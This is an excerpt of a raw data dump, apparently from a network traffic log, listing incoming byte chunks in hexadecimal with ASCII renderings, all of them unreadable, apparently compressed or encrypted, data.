1b cf 4c cc da f4 4b 53 d9 00 ae e9 db Data Ascii: VttE@G`F,uERdq.1`^Cl~-{~W:pp~+e_8fKn~>,BFY<^>"F(}C3j/Ql Y`,5!$f=]- . +by I\|U+:~4-2t/Gy'$v/'D_^ALKS
2023-05-10 00:21:17 UTC	1088	IN	Data Raw: dd 83 5f 6b c9 ac 01 44 3c 94 f3 78 c8 ca 13 e5 b3 53 69 55 ee 50 00 c9 d2 83 35 48 df 92 66 e7 a7 74 de 95 ba 53 58 42 25 80 12 26 3a 1b ca 00 8e 11 0c 0e 56 fc d1 51 c0 3d 2b 3e a6 e3 4b 92 44 0a d9 16 3d 18 b5 28 87 e5 44 2a b1 7b 88 9c 30 e4 68 86 05 5e d9 8f a5 f8 ac 34 56 80 e3 04 93 da e7 a3 a2 37 f3 ba 3e cb 13 f5 2b 43 02 06 6b e0 a6 37 a8 89 2e 55 59 48 0e d6 bb 11 3d 65 07 6a 68 c7 fb 11 68 59 5a 12 36 64 8d 06 53 d5 a2 8c 85 19 d9 61 96 68 35 01 1a fe 38 be 21 6f 6e a3 3a 7c 47 67 83 72 40 58 2b d4 06 01 f0 a2 95 cb e8 47 2d 57 6a 16 ad ac a7 ae 63 01 7b 6e c5 ea be 2e d1 7e 41 e7 cd 5f 79 c7 b9 2f 2b 93 72 62 bd a9 65 7e b5 22 55 21 6e 96 f9 82 16 84 75 c2 0a 36 77 18 6d 59 98 a8 3e 12 84 1f 1e a8 6a 2b d5 ec 8e 31 23 7c 10 80 27 d6 5a 7f d2 Data Ascii: _kD<xSiUP5HftSXB%&:VQ=+>KD=(D*{0h^4V7>+Ck7.UYH=ejhhYZ6dSah58!on:\|Ggr@X+G-Wjc{n.~A_y/+rbe~"U!nu6wmY>j+1#\|'Z
2023-05-10 00:21:17 UTC	1104	IN	Data Raw: 0a 68 96 5d f5 44 b5 db aa 4c 6f f7 20 8d 26 0d 11 a4 8b 8c 6b ce 82 2d 80 7e 90 75 73 c9 3d 1f 80 1c b4 ef bc d2 80 cd 09 64 19 e7 18 6c dd e8 3c 50 37 53 9b 80 70 60 58 5d 6d d5 c6 f5 90 d1 12 e2 7f c6 ce 5f 4c 34 93 00 f8 53 6c b0 1c 7e 76 7e c5 59 b3 98 f0 ed 8f d3 ff 40 c7 a7 a4 b4 6d 3c df 97 a6 80 81 0a de 31 07 f9 fc b1 f0 f7 30 f9 12 1f 7b da 2d 02 56 6f 47 1e c8 58 46 a8 65 01 4a 78 70 bc 3e 33 f9 91 7c 11 1d cc 82 5c 64 a2 ea d8 2b 24 b9 db aa 5c 0f 57 7a 0b 72 91 5f 79 f4 95 bb 6b 57 e4 35 33 91 2b 6d b4 3a 8b f2 06 2c 20 88 61 4d 7c d0 c9 e1 ff a2 b2 c1 95 49 bb af ea 4c 6b b9 86 11 1a 15 36 96 6a dc 75 86 51 9b a5 1c 9b a1 51 76 dc b3 f0 61 73 cf 96 40 54 57 5f 33 6c d5 44 32 95 a1 87 0b 29 cb 92 f4 df 5b 15 1f 41 ab e2 91 9f 85 0b 6b c5 61 Data Ascii: h]DLo &k-~us=dl<P7Sp`X]m_L4Sl~v~Y@m<10{-VoGXFeJxp>3\|\d+$\Wzr_ykW53+m:, aM\|ILk6juQQvas@TW_3lD2)[Aka
2023-05-10 00:21:17 UTC	1120	IN	Data Raw: b0 eb 9d 97 9d 85 ee ca 49 f1 0e cc de 51 77 7d bd 3c 98 05 3d 1c ca bb fc 71 9e 75 ab c9 03 1a cc 1b 8f e1 1e 2e e1 19 68 3b c3 65 66 63 28 a6 42 ff fc cb 1d d8 f8 d3 2b 14 b3 b1 78 ff 6c c9 13 e7 3b 12 ec 2a 3f ac 6e 5a 62 94 30 8c 06 83 11 45 1c 68 3d 17 1a fd 49 e0 d1 f0 ff bd 1e 9e 79 4b 3a 03 7f 9a bc 6c 93 1c 75 d3 57 f7 ca 99 1e eb 46 e8 eb 7b e6 27 ce da 3c 75 8a c1 b1 57 32 e4 8b cf 62 fb 53 3a 43 28 09 88 9e fc 09 07 6e b7 9c 1a 2b f0 97 ca 39 e8 80 d8 dd fe be 71 fa fb df 6f f7 a1 ee 28 ae 71 c3 39 4d 43 06 62 fd 8b c2 23 04 ea 50 5c 50 2f e1 4d 89 8e a4 d5 d1 43 63 f1 71 4d ad b6 c8 1e 1f a0 4a ea 0e 35 f6 74 7c 34 fd c0 9e 4c ce 7b 09 f4 45 be f0 b7 db 04 f8 dc 1e d1 fb ab 49 9d 8b d5 96 b5 86 66 03 3f 30 d0 fe 0e 1a ce 6b 79 82 c6 30 4e 42 Data Ascii: IQw}<=qu.h;efc(B+xl;*?nZb0Eh=IyK:luWF{'<uW2bS:C(n+9qo(q9MCb#P\P/MCcqMJ5t\|4L{EIf?0ky0NB
2023-05-10 00:21:17 UTC	1136	IN	Data Raw: d2 96 60 b4 93 01 55 4c 2e d9 42 57 d0 eb 1f 7c 2e 7d e9 07 37 3b 2e b4 37 83 41 3d 0e 59 b2 a9 16 6d cb 3a 49 48 45 5b 3e f5 5f ca 0f b0 94 d5 5a c6 23 ae d6 f0 dd f0 ef 0d a2 0b 2a 76 c6 ce 4c 25 e9 9c b8 ec bc 21 cf ae eb 24 fb c5 89 6d 15 83 60 19 96 06 0c 81 77 1e 93 1f d2 13 ae 32 d8 09 83 d9 7b e1 9b 48 ca 11 3d 31 e5 57 b3 90 f2 64 11 df d3 0b 76 06 5f 79 f8 c9 48 37 54 56 e4 22 bd ad fd 1e 21 62 ed 4d e8 2d 71 fa c5 a9 11 14 df ae d1 d6 31 52 e7 39 b3 55 cd fb da 46 24 8e 1a 22 3d a0 ce 5e 1b 92 03 e1 cd a1 e9 f8 9e 3e f3 19 41 24 2f d6 5c d8 ff 92 55 d9 7a 23 09 ac 27 0c df ac 47 93 df cf b7 3d 6a 33 8f 3f 2d ff ed 69 f7 e1 f8 f5 5e cb e7 d9 3a 32 48 45 d9 2b a7 ee 5c 4c 34 81 55 58 98 c3 76 a9 e6 b3 a1 8e a2 9c 6b da 7c 84 0b 24 b3 f4 5e ce cf Data Ascii: `UL.BW\|.}7;.7A=Ym:IHE[>_Z#*vL%!$m`w2{H=1Wdv_yH7TV"!bM-q1R9UF$"=^>A$/\Uz#'G=j3?-i^:2HE+\L4UXvk\|$^
2023-05-10 00:21:17 UTC	1152	IN	Data Raw: 61 d0 73 69 b4 7e bb aa 19 21 b9 20 62 bd 97 c8 2f 22 58 9e a4 4b 5d ef f9 9d a7 1d 0d e0 3a 77 6a 27 fc 14 af 2d 51 ab 34 b3 e0 26 15 bd 2c 64 3c 12 bf 0a 5a 38 43 59 25 0c 73 4f b5 d3 49 78 8d ce cf e2 35 4f 96 5e 47 34 8d 31 94 67 77 c7 d8 43 90 3e 44 a8 7b 5f 3d 92 d6 55 81 0f a5 32 0d 10 57 26 1f 9c 3b 10 c0 38 60 3a 4a 60 a3 3a 7a 07 ca 2a f9 90 6b 19 b5 a9 b8 1e 40 a4 20 34 ab 8e fa d1 79 82 1f 0d e7 fd 87 47 4e cd 33 b6 ed 10 46 0e 2c 4f f0 99 3d 80 12 49 68 e0 b1 d6 90 ae 61 5e 6c c0 37 70 67 ee ea 8a da 7f 30 ed 6f 0d 47 0f d9 d2 ff e0 f1 6f c8 bc ab be 6e e4 0b cb 8a 18 01 97 c6 c2 0f 18 ab 8f cd aa 51 7a fa a9 f2 6f 78 27 e2 0f 4a d6 b4 22 c7 0c 3b 72 69 4f 86 33 22 ed 6d dc 1e 4c a9 7e 2b 82 c9 e5 63 87 5c 66 18 99 07 87 d4 a2 bc 58 8f 2b 96 Data Ascii: asi~! b/"XK]:wj'-Q4&,d<Z8CY%sOIx5O^G41gwC>D{_=U2W&;8`:J`:z*k@ 4yGN3F,O=Iha^l7pg0oGonQzox'J";riO3"mL~+c\fX+
2023-05-10 00:21:17 UTC	1168	IN	Data Raw: a5 79 94 55 8e 23 af c1 64 df 76 34 2c e5 aa 6e 5c 89 c0 a0 44 8c 80 4c 0d 36 59 88 8b 19 08 5b 62 e7 c2 20 c4 f9 55 df 7b 9c 7f dc 8c 9c dd ec 21 70 ff e3 9a f6 80 72 65 03 36 da f5 21 53 f7 e1 ce a1 20 c7 d4 33 a3 1f 2f dc d0 ee 90 ef cc 84 7d 6e 0e 8b 76 aa 32 ec 6d 07 57 78 59 1e 31 8e 3c 1a 93 bc 40 81 da a2 99 3e c7 74 84 93 dc 69 82 4e 86 84 48 30 dd 21 56 e6 25 67 75 3c 2f 52 36 6b ae 9c 0d f1 b0 80 ad c4 79 c4 61 e8 d4 81 13 7c 04 4b e7 20 4f e0 85 78 c3 2c e5 bc ff ae 3f a8 10 52 61 06 df 07 e6 72 48 30 d2 51 ec 36 75 c6 4a 6e 72 84 b3 1d f1 d4 e9 e5 d9 04 22 b6 67 c4 d7 ca 5b 83 85 97 b4 a7 ed b5 70 c7 ec 6f f9 44 5c 83 47 af cf 44 2a 72 e5 21 e3 6f 75 de cb 1f c0 b7 4f 4d 4c 6a 32 d1 28 bb 73 37 88 14 9b e2 38 c7 65 e5 80 9b a0 20 e4 06 46 42 Data Ascii: yU#dv4,n\DL6Y[b U{!pre6!S 3/}nv2mWxY1<@>tiNH0!V%gu</R6kya\|K Ox,?RarH0Q6uJnr"g[poD\GD*r!ouOMLj2(s78e FB
2023-05-10 00:21:17 UTC	1184	IN	Data Raw: ac 12 b4 02 30 b0 9a 14 cd 50 24 0f bf d7 b1 3b 96 8a 19 14 11 0c ff 25 79 5f 58 7c bc d4 d2 74 f7 ea 3f 16 09 64 a5 f7 9c 00 1a f6 f6 60 68 a2 c1 ea d9 a4 f0 fd f4 81 65 46 87 ae 3a 55 e9 6f ab c2 d3 8f bf 25 3c 60 53 b2 02 04 d3 0f 27 02 97 34 fb 20 43 bd 5e e4 f7 08 87 79 d4 98 5e e6 36 2b 51 f8 5f a2 3e 30 de ee dd 91 80 66 47 1a 52 89 93 7a 1f 5b bc 67 5d eb 0c f1 d8 7d 2d b4 7d 53 59 c9 83 30 cb b0 74 04 7d bc 05 90 c2 48 fe 0d 5b 81 8b 5b 01 f2 15 e9 59 13 a1 74 ab 08 96 54 32 61 67 c5 41 46 ef e6 2e 5f 42 07 31 c6 22 58 c4 7c 54 86 e1 63 04 c7 88 1f df fa 10 05 50 4d ba cb 32 ce 19 b2 d6 e3 c2 78 ca 25 0c 15 46 2f 44 60 5b 5a 3c e6 35 99 da d2 a7 df 45 08 30 03 f2 8d 3f 66 df 29 a8 c7 36 6d 11 88 ac 8b 24 66 db 1a 5a 73 ac eb e6 e8 84 e7 81 10 ad Data Ascii: 0P$;%y_X\|t?d`heF:Uo%<`S'4 C^y^6+Q_>0fGRz[g]}-}SY0t}H[[YtT2agAF._B1"X\|TcPM2x%F/D`[Z<5E0?f)6m$fZs
2023-05-10 00:21:17 UTC	1200	IN	Data Raw: 7d 74 2d e1 78 06 68 7b e1 97 b2 db 78 8e 1a b8 b9 a4 45 31 f7 26 b5 65 e3 1e 8d b7 7b d9 1d fd 65 c7 e7 41 26 5f 6d 07 e6 8a 62 ab a7 ff e4 79 64 84 fb 4b 86 45 84 07 1b 0b 6c 1f 3d 9c 63 5c 4f d5 4b ba 54 2d d5 46 9a b1 a9 5d 0f 5c 49 04 48 20 c2 ef 71 87 55 1a 07 6e 7e 4b 65 7e 20 37 7f 1f 28 fd fe 8c c2 16 5a 53 26 45 2f 3e 62 36 fb 75 59 4b a8 2e 68 9d 89 e5 74 a5 78 28 d4 47 01 0f ea 9a 4b f9 38 6f 2d 8b db e5 9c 57 2c 54 e6 fa f4 0f 90 de bf 9c 69 b5 3c a6 5a 5c b8 af b3 b6 9c 7b 46 a3 6a ba ad 1a 21 a8 9e 2d 3c 47 4d ee a7 cb d6 72 30 e2 60 1e 47 94 df 9e 88 0d 06 ca e3 bd d8 bd a3 57 2a d1 bb a0 d3 5a f2 2c 36 72 01 79 a8 26 35 83 e8 24 de 5d 02 2e 2a 4f a0 3c c4 14 ce 21 6b c0 05 c7 8f 20 cb 62 8a 42 cf 41 0b 83 56 d0 d6 46 2c fb 3d 67 31 58 75 Data Ascii: }t-xh{xE1&e{eA&_mbydKEl=c\OKT-F]\IH qUn~Ke~ 7(ZS&E/>b6uYK.htx(GK8o-W,Ti<Z\{Fj!-<GMr0`GWZ,6ry&5$].O<!k bBAVF,=g1Xu
2023-05-10 00:21:17 UTC	1216	IN	Data Raw: f6 5c c6 b0 f9 2b 14 43 48 03 5d b6 08 1d d7 3a 5f ed cb 1e e1 e7 01 cd 95 05 00 c8 44 05 a9 22 5b 3b ec 2f d4 13 6d 87 aa e5 24 fa 20 a6 f2 dd fd 0c 9e 8a f7 c4 bf 3f 58 2d 67 9f 86 76 fc f4 f1 58 0d 3d 92 b9 6e d9 f1 b2 0e ed 27 7a 81 45 51 a6 05 e9 8f 7f fb 36 c1 44 ea c7 c1 5f 8c 35 27 3d ab ea cf a6 4e 1f 67 88 a7 b7 34 da 0a 44 e0 49 7d eb ee a2 68 e0 b9 8f 27 8a 7e 6d 4b 17 68 0d b1 0a ec c6 30 78 7a 01 51 b0 53 79 d0 8d a6 59 ec 52 ce 4a b6 4b 35 74 01 8a fd 5b 31 eb 51 1c 66 2a 4b a9 16 0c b4 b3 14 83 03 58 45 e8 40 e6 14 41 99 0c bc 72 e1 2e ee cc a2 e5 52 2f 3b 6e 40 71 b9 1a f2 be 1c a5 49 96 ad ed ac 1b 4c 6f b1 8a d6 db 94 09 47 f8 3f f9 c7 4b 0f 95 87 7f b4 15 f5 a2 db 04 3b ef 59 34 ee 56 b9 14 ea 23 a8 d4 05 4c 6b c2 fe 47 02 f6 a9 78 be Data Ascii: \+CH]:_D"[;/m$ ?X-gvX=n'zEQ6D_5'=Ng4DI}h'~mKh0xzQSyYRJK5t[1Qf*KXE@Ar.R/;n@qILoG?K;Y4V#LkGx
2023-05-10 00:21:17 UTC	1232	IN	Data Raw: 4e a1 d8 13 b6 95 62 af 29 e9 f0 89 71 d5 53 49 e9 9c 89 d9 86 09 ca 82 17 8e 87 9f d6 f8 55 4d 0c 7a 2e b9 83 b4 27 39 cc 9f bc f1 12 65 b9 6a 2d ca 1f e6 af 11 79 82 6d e3 71 30 7d 80 f3 56 37 e5 f5 76 d3 97 65 3a 40 fe 2f 0b fa c9 41 cc d1 35 8d a4 52 bb 49 5b 8f 9b 87 1c 3c b8 f2 18 7d 86 e3 fa ae 51 08 9c 4d ce d9 15 e2 e4 a7 3d 5b 56 60 a1 82 20 78 ee 34 93 ed 1b 7d de df be d6 38 b1 7b 17 e4 81 26 91 95 0d f5 db 6d 80 ca d3 71 73 b3 74 37 86 1d 1e cc 54 aa d0 b9 52 fb 20 8b ed a2 39 fb fe 18 cc d4 26 45 ac 43 cd a2 a6 66 2a 38 2b 63 8f e8 e9 d3 50 ac 1e 2a e9 f5 62 0e c0 61 8c 2c 13 a4 4b 9d 8d 10 12 9b d6 74 7b d9 0a 05 fe 54 61 fc 71 fd be 5c 15 65 c6 c9 e6 d0 88 60 a6 1f 41 96 6a 34 01 88 bb 78 f9 1b b2 c0 a3 64 d9 85 0b e5 fe c3 36 04 f1 62 00 Data Ascii: Nb)qSIUMz.'9ej-ymq0}V7ve:@/A5RI[<}QM=[V` x4}8{&mqst7TR 9&ECf8+cPba,Kt{Taq\e`Aj4xd6b
2023-05-10 00:21:17 UTC	1248	IN	Data Raw: 0f e8 20 aa 03 d1 14 3b e5 85 72 bc 88 47 f7 eb b2 78 ed cf a8 93 54 c9 14 f7 18 9c 6c 0f 7c 55 4e 89 f9 2c 21 23 f5 59 0b ff a5 99 41 0f 38 a2 6f af e2 70 f6 5f 4a d2 bd 99 15 71 86 39 74 c5 64 49 d9 42 e7 d9 3d 10 46 dc e7 58 87 72 4b 76 af 1a 30 56 97 7f 68 80 3f 66 66 49 75 81 21 72 a3 c1 09 e4 94 42 be e8 ed 4a 9e d0 f8 dd eb bf cd 7d 82 c6 2c 7c 2b 80 07 11 e4 94 07 44 67 ce f2 2f 6e 43 09 53 5b 21 f1 d9 e8 96 cd 32 be 14 d3 5a 6c 6d b7 23 df 8b 17 e3 cb 4c c1 c6 dc bf a9 20 f9 cf eb 7f 3a 2b 19 f6 a0 d1 71 49 82 10 c0 f1 c7 ec 1e 3f bf 3a c7 5b 49 f2 10 c6 bd aa 5f 16 bf cf 64 9c f6 cc 8c ee 03 9e 3b b4 2f 7e fe cd af 8e 29 9e 67 9e 75 2b 46 1a fd b1 59 c2 d3 91 a5 e1 20 a7 cb fe 14 ab ae 37 d5 1a 1b ce e7 1c 29 65 7a 76 f0 c2 e7 18 96 90 c7 1c 17 Data Ascii: ;rGxTl\|UN,!#YA8op_Jq9tdIB=FXrKv0Vh?ffIu!rBJ},\|+Dg/nCS[!2Zlm#L :+qI?:[I_d;/~)gu+FY 7)ezv
2023-05-10 00:21:17 UTC	1264	IN	Data Raw: 31 84 fb f4 1e 62 dc 0a 98 9c b1 da d1 29 cb 77 1b d8 64 ab 22 04 37 d1 1d a1 77 86 fc 0c d5 dc 9d 33 f1 4e 76 a9 0b 7e 36 8c 27 14 17 54 63 66 d0 f1 89 29 99 31 2e 63 0c 84 07 08 ea 74 73 1c 8e b3 d1 5d 66 5e a5 11 ee 19 4f a2 1b 71 46 cb 03 ee f3 e1 6d c7 53 9e af aa db 9b 80 e3 7b 63 49 b7 99 e2 d8 ef f2 c2 4c 98 76 b6 53 0a 2b 6b 26 72 cf 3b 3a 5c 0b 05 a9 e9 bd 4f 61 41 46 08 66 82 91 01 6f 5c 72 14 49 fd 7e c1 06 83 1d 86 eb 5c c1 a4 e3 1d 55 77 39 c9 17 bb c3 d6 67 a0 ef 13 ed 8e ee 68 01 ea 0a bb fd 0f 98 22 e8 f3 b5 02 4c 8b 53 94 47 91 2f 2d 46 61 a6 d5 6f 80 06 7e 08 11 38 95 60 03 94 6f bd 1b 64 e1 93 46 0d 48 44 5b 1f 13 b9 b1 6e 6d 81 29 ef d0 dd fc 6d 7d 9d 77 bc 5e 11 5e 62 3a 08 eb 41 94 2f b8 bf eb fc 97 07 c7 90 f1 80 d3 48 69 8b 8d 13 Data Ascii: 1b)wd"7w3Nv~6'Tcf)1.cts]f^OqFmS{cILvS+k&r;:\OaAFfo\rI~\Uw9gh"LSG/-Fao~8`odFHD[nm)m}w^^b:A/Hi
2023-05-10 00:21:17 UTC	1280	IN	Data Raw: d5 78 1a a4 1b 64 79 c3 80 21 b3 3b 6d 46 9b 8d 4d 2a 8d 8c 80 14 14 54 2b f1 16 f5 68 0f 44 5d 72 49 1f 81 05 78 d2 ce aa 7e cd 1c 5a 3e c6 eb 27 f1 3d 29 65 d2 a2 13 d9 76 0f 84 32 49 4d 6b b4 d3 f5 60 b0 11 9a ca 68 c8 3d 2a f4 c9 33 67 76 17 cf b0 63 73 c9 81 c9 04 d3 f1 e9 e5 77 fe 63 b6 f6 65 5d 23 47 42 5c a1 87 81 d7 9e 21 a4 5b 1d 6b dc 2e 5a 58 28 40 d3 7c 05 56 63 1e 0e 55 d6 fa c6 b0 b0 1d d6 e4 fc b6 a1 57 51 a5 a7 36 1e 2a b4 31 86 3d e8 7c c9 5c df ff 79 dd c2 9a 74 c4 0b cb e4 f5 85 de 6b 4d 2e 80 61 81 fe fb 64 75 66 fd 01 67 aa 8c 2b f1 e8 00 64 ed f1 7c 45 af 57 f5 88 6b 89 b2 9c f5 54 43 3c 9c 82 a2 e6 9e 1f 7a b4 92 02 77 8d 36 1d 65 77 2c a9 db e1 b3 ae e3 a2 5d 19 2f 0d 36 6e 5e f8 45 71 ab d2 c6 ca ff cf 82 6d d4 02 24 9a e3 86 55 Data Ascii: xdy!;mFMT+hD]rIx~Z>'=)ev2IMk`h=3gvcswce]#GB\![k.ZX(@\|VcUWQ6*1=\|\ytkM.adufg+d\|EWkTC<zw6ew,]/6n^Eqm$U
2023-05-10 00:21:17 UTC	1296	IN	Data Raw: ed 66 bf 7a e0 9e 93 6f d0 b2 4e 5d c6 00 04 49 30 ce 70 bc 55 f4 54 11 5b 96 a3 76 2f e1 d0 38 0c 94 42 36 5e 72 cb 7a f3 9f c6 7d 3d e9 6b 89 c6 74 8f 9b b5 bd 64 f5 da 6c df 68 40 54 ed aa 12 0b f2 1e 92 92 c2 39 10 67 8c e4 6d 76 19 ea 5b 68 0c ed a3 cd 56 0e 36 b2 a9 96 c8 c8 f8 c1 73 af 2a a7 45 89 61 1b 6c 87 71 99 cb 1c 2e ef 2e 0f 16 80 2d 5a 55 50 df 37 56 d9 3e 5d 09 b1 9a 05 49 a9 2f 17 aa a2 d5 9f 8c 29 d7 9b d6 19 bb 6d fd 99 45 3f e2 74 94 6d a5 92 a4 af 94 82 e8 e5 ad 59 d3 cf 1c 54 42 f4 00 da ee 63 f5 bb 5f 9f 4a e8 44 6e 18 9a df 7d 1f 6c c8 5a 98 ea c6 93 16 78 fd 83 29 d9 0b 65 cd 8b a9 9a 32 79 96 31 f1 a7 34 fe 43 45 e3 a4 89 3e 6c 75 40 95 83 00 dd f7 31 5c fa 5c 6b 75 72 5e 6d e5 99 c1 75 f4 4e f7 6c 7f 65 91 40 d9 cf 25 9b 38 41 Data Ascii: fzoN]I0pUT[v/8B6^rz}=ktdlh@T9gmv[hV6s*Ealq..-ZUP7V>]I/)mE?tmYTBc_JDn}lZx)e2y14CE>lu@1\\kur^muNle@%8A
2023-05-10 00:21:17 UTC	1312	IN	Data Raw: 04 38 1c 3b 53 50 3d aa ff a5 9a de 92 99 01 20 4b 73 57 d4 18 25 46 ba 4d c2 93 f7 59 1a f6 a9 b9 91 be 3b ef 54 99 6a c5 fb 03 71 71 79 11 c6 8f a0 94 51 72 c3 ca f9 b3 93 4d fc f6 6e cf eb fd 16 d2 1a ed ce 1f 90 1a 35 22 a5 fc 49 09 32 52 4e 23 4a b8 93 82 e3 ef 99 63 6c 67 db 2a fe d4 07 6f e2 47 51 15 9d ab d6 8f a9 5f f5 f9 66 40 26 df f0 d3 59 a9 c6 cf e4 4f c5 98 45 38 ed 5f 29 b1 cf 77 2d e2 8d ed c5 d8 02 c4 01 46 8c 55 ad 2c 33 c9 ef 99 70 f0 0d f7 fb db 5b 6e 00 8c 71 a8 5b 46 45 a1 46 cf 17 19 18 22 fe d1 1e 8a c5 e7 95 43 74 d8 84 12 a5 87 5d 0b bb e2 ce ad 1f 27 a5 ca d1 f2 e0 70 0a 48 05 84 dd 49 35 79 58 80 88 42 82 75 43 d1 7b 8a b8 4a 65 1e 75 74 02 37 ca 85 c5 af dc bb 2e ab 64 fb 73 b0 22 e7 c1 b5 33 3c 08 0f 04 00 f0 15 53 32 9f 8a Data Ascii: 8;SP= KsW%FMY;TjqqyQrMn5"I2RN#Jclg*oGQ_f@&YOE8_)w-FU,3p[nq[FEF"Ct]'pHI5yXBuC{Jeut7.ds"3<S2
2023-05-10 00:21:17 UTC	1328	IN	Data Raw: 9d 55 9c 6b 22 fe 81 c0 6d 4e c9 64 43 73 dc e7 a3 74 96 d6 e0 75 f1 5b 17 bc cf 62 48 6e 64 b9 ca 32 7b d9 40 9d 80 ac d0 d0 e5 2a 47 f9 92 73 0c b8 af eb 09 f6 65 05 9b 2f 2c e1 fd 35 3f 61 6b 71 48 fc 65 e3 be 25 5e 40 cf fb 05 51 c2 cd 18 f2 9e 37 d5 93 86 71 b5 da 68 53 6b f2 41 70 21 3f f5 82 a9 a1 9a 91 c7 17 90 f7 32 f9 14 3f d2 2f b8 e0 0a 1b 81 61 11 66 a9 ab 08 8a 40 32 02 58 35 92 ef ad 79 50 b0 bd 31 b4 52 97 80 ce b9 2e 36 40 bf b8 92 e9 7c c1 59 a3 ea 5e ca f8 ef c5 b0 e2 5b b8 5d f7 3e 43 92 31 89 62 77 ad 65 96 23 10 f0 1a c0 c5 c6 5e 19 52 f0 ff a9 40 83 6e 38 41 69 eb b8 0c 52 db 34 f1 84 9e 7a b7 8b c0 3d fb 00 42 b4 2a 2b be 7e ab db e9 68 13 64 00 ef 94 c4 91 35 fd db 73 49 0c fa 40 45 97 c3 36 0e 03 b6 b0 f2 3d 79 8f 1e 2b a4 71 e8 Data Ascii: Uk"mNdCstu[bHnd2{@Gse/,5?akqHe%^@Q7qhSkAp!?2?/af@2X5yP1R.6@\|Y^[]>C1bwe#^R@n8AiR4z=B+~hd5sI@E6=y+q
2023-05-10 00:21:17 UTC	1344	IN	Data Raw: 26 a3 fc 58 67 70 14 1e af eb 55 4e 89 49 b7 8c c6 c6 bf bb 75 d4 ee 6f f1 4f cd 49 50 f0 a8 8c b8 4b 4c 5d 17 89 00 17 e3 69 79 83 23 86 4d 7c ce 10 6e a5 4a f3 71 01 f3 4f a4 7b 08 7f 35 7f ff 99 f6 a2 5f 8e 1a b4 24 64 21 28 7d e6 25 07 a7 2f dc ef 81 b0 11 45 82 5e 4d e2 23 82 98 32 9d 38 42 2f f4 d4 85 e0 c7 fb 43 63 30 5f 82 c0 c1 03 5d 81 af 80 7e 27 8a bb 65 11 68 8d c7 8f d2 f8 cc 6a 4a 8c cb 81 97 49 98 b8 86 e4 e0 0c 10 fb 49 a4 15 96 0b bb 22 8b fb bb 05 0d 36 e4 d9 ff cf 27 8d 7b f3 69 e6 f4 7b a1 ac 56 02 2b bf 58 fd b3 e2 4a 78 b8 16 14 b1 41 a0 de 80 e5 9a f4 72 03 b8 4c 37 e4 0f 34 6f 94 4e 1b 80 1a 16 82 f6 ef d0 22 61 e9 53 f9 5c 53 06 62 2a 24 b9 fe 71 89 f4 78 a1 cf 0e 4f e3 52 11 b9 c2 37 7f ab da cc 6a fa e6 6b 4d 4e 12 7a 95 e2 62 Data Ascii: &XgpUNIuoOIPKL]iy#M\|nJqO{5_$d!(}%/E^M#28B/Cc0_]~'ehjJII"6'{i{V+XJxArL74oN"aS\Sb*$qxOR7jkMNzb
2023-05-10 00:21:17 UTC	1360	IN	Data Raw: 73 84 32 37 15 58 ee ab b0 ac ff 1e 3e 1e 8c 8d 12 74 8e df ad bf 89 ca b0 57 da 1f 8e 7e 5e 41 d3 49 a7 3d 36 94 5b db fe a0 79 94 61 08 de 8a 03 06 27 8e 19 df 28 6d ab c1 39 56 44 fc 15 5a 5e 21 c6 c7 1a 21 5b db 2b 95 22 41 3d 0c f7 53 04 7c 42 80 54 79 00 8e ce 63 27 b0 1b 04 1e d5 9b 26 6a 1f 9f 2d ed 0f 46 51 81 3a 74 68 3f be 38 48 03 c6 9d ff 7e 65 e8 bd 6a 23 c5 b7 bd dc d0 1f 18 9a 00 07 c8 3d 9c c0 8e eb e3 32 20 4b 3f 5c 5f 90 d7 ee 83 7b 43 45 20 f2 b5 a0 c6 4f c2 75 b3 81 1c 91 b4 a4 a5 ee fd c3 5b 7e 1c da a7 26 44 02 2d a6 c3 e1 e3 a1 ce 5c c5 1c 9e aa f0 da 90 30 bd 71 e4 84 3b 05 30 c4 0c fa 71 fb 20 e6 6b 7d df c3 e6 6e 05 d8 4a c4 04 fa fd b8 e8 c7 f7 93 e3 f6 8e cc 4a 7e 4f 97 61 52 ca d0 99 08 02 a7 68 62 31 03 f6 99 46 83 4f be 5d Data Ascii: s27X>tW~^AI=6[ya'(m9VDZ^!![+"A=S\|BTyc'&j-FQ:th?8H~ej#=2 K?\_{CE Ou[~&D-\0q;0q k}nJJ~OaRhb1FO]
2023-05-10 00:21:17 UTC	1376	IN	Data Raw: ed 83 c8 71 3f 68 95 20 a7 3c 0b 8e ae b2 d6 7d c8 82 42 86 df 7f 7e d1 34 ff 2f f3 cd 04 f0 57 8a 05 aa 86 24 a2 96 3d 37 53 a9 cc 27 48 21 c5 14 8c 10 33 fe 57 ea 30 bd 0a 98 a4 0b ab b1 ba 9c c8 86 ef 23 72 4b a4 f4 0b 77 cb c8 f3 8c d5 9b 19 01 8e 3c bd 68 54 5f 17 34 c2 63 b6 14 5d f1 2a fb 04 a9 4f b1 30 9d 1c 9c 06 b3 f2 8f 3f 27 61 7c 3a c1 cc 5b 70 34 49 75 c5 35 bc 61 b4 c5 cc 0f c6 8f bf 4e 5e 76 19 7c 0f 25 03 b2 57 db 42 af df d7 5a ee c6 c3 31 99 76 0d 53 42 93 51 87 5e 0f 6c 55 c9 40 6f fe ab 8e a1 92 7c 05 d6 2f 03 0e 91 e5 08 f2 6f 76 b8 40 c3 4e c7 0c fa 90 a3 20 b4 d2 40 d8 e1 a5 bd c1 5b a5 1c 81 31 64 cf df e5 b5 78 d2 85 41 8b c9 2f b6 58 4f 64 16 c0 e8 58 42 76 8d d2 df 98 ce ba f5 d8 85 91 10 ea 51 18 e3 ba 7e aa 8d 58 62 22 3f 65 Data Ascii: q?h <}B~4/W$=7S'H!3W0#rKw<hT_4c]*O0?'a\|:[p4Iu5aN^v\|%WBZ1vSBQ^lU@o\|/ov@N @[1dxA/XOdXBvQ~Xb"?e
2023-05-10 00:21:17 UTC	1392	IN	Data Raw: 77 0e 8f b1 7c 1e a0 80 b2 53 03 5b be 05 99 8b 8c ea 26 f4 cb 25 8b 3f cc 1b 4f 43 ea c6 8b a2 4b cb fd 63 a2 3a d3 0a 75 e5 d4 b2 09 b5 06 cb c6 0c 01 7d e4 51 8a e1 97 41 6a f3 0a 27 c5 b6 a5 b7 8c 86 e0 95 ba 5e 28 f4 c4 89 c7 be cd d8 6b 7f fc 39 af 5f ab 7b 98 12 1b 72 08 64 55 2c b5 53 17 c5 07 10 a7 15 b4 c4 a2 82 5f 9e 59 20 72 74 b2 56 da 70 86 b2 77 3e a4 04 f6 23 ad 18 19 05 d5 56 97 fe dd ad 77 b2 1e fa 24 c1 20 18 75 53 28 71 a1 fd de 28 b7 82 07 56 2c 5e b5 cb 5e 22 97 1e 52 1a dd 07 20 5e 25 de 37 26 8e 78 ad 7a 0d 6c 6e e7 58 